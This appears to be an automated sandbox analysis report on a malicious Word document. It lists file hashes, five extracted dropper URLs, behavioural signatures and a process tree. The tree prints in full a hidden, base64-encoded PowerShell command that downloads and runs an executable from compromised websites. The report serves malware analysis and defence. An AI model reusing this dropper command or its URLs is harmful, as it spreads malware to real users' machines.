Analysis

  • max time kernel
    133s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 10:26

General

  • Target

    4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8.doc

  • Size

    182KB

  • MD5

    48b8c5a3db4c25258c2ba437114592ab

  • SHA1

    6b32eef802297c60c887a02b94c4deab93c367b7

  • SHA256

    4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8

  • SHA512

    5f17a24f7a27c7c73a77defafebc803c7b93a0362c8fc894bbd249862d21d003a45fd2ca1375cdb58a5c53d57f39ce77d78affda70ea2362ccbe6bfc4dc56460

  • SSDEEP

    3072:9Nm2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9Nm2k4PF7tGiL3HJk9rD7bdasiv86J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4b787f331020503e221857993bbd9f9d28e191be1191bd445c309e84a16137e8.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3960
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3912
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1592

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\70C986F4.wmf

      Filesize

      444B

      MD5

      e9a3ff4c735871f8175933d1badb85df

      SHA1

      e6e0cb96b45ef0807fe4b42fdb74603c9b0ddfa8

      SHA256

      770185821e090bd8dcfd68fafeef4d1d9fb10cef36916b929447cdbcbdaa8687

      SHA512

      799f2fc4f54e628bbe296f569841baee7be2a9c856b7c53f2a3b74be6605913a29f048d4a177939c0c737747251f3628f17ed440bd5449ffa5c264f3746b3599

    • C:\Users\Admin\AppData\Local\Temp\TCDCD65.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4zew40aq.mb4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      16B

      MD5

      d29962abc88624befc0135579ae485ec

      SHA1

      e40a6458296ec6a2427bcb280572d023a9862b31

      SHA256

      a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

      SHA512

      4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

    • memory/1592-59-0x000001E1CCB60000-0x000001E1CCB82000-memory.dmp

      Filesize

      136KB

    • memory/3960-11-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-19-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-8-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-1-0x00007FFD5FC8D000-0x00007FFD5FC8E000-memory.dmp

      Filesize

      4KB

    • memory/3960-10-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-12-0x00007FFD1D390000-0x00007FFD1D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3960-7-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-13-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-15-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-18-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-20-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-22-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-21-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-2-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

      Filesize

      64KB

    • memory/3960-17-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-16-0x00007FFD1D390000-0x00007FFD1D3A0000-memory.dmp

      Filesize

      64KB

    • memory/3960-14-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-6-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-9-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-5-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

      Filesize

      64KB

    • memory/3960-4-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

      Filesize

      64KB

    • memory/3960-3-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

      Filesize

      64KB

    • memory/3960-74-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-75-0x00007FFD5FC8D000-0x00007FFD5FC8E000-memory.dmp

      Filesize

      4KB

    • memory/3960-76-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-77-0x00007FFD5FBF0000-0x00007FFD5FDE5000-memory.dmp

      Filesize

      2.0MB

    • memory/3960-0-0x00007FFD1FC70000-0x00007FFD1FC80000-memory.dmp

      Filesize

      64KB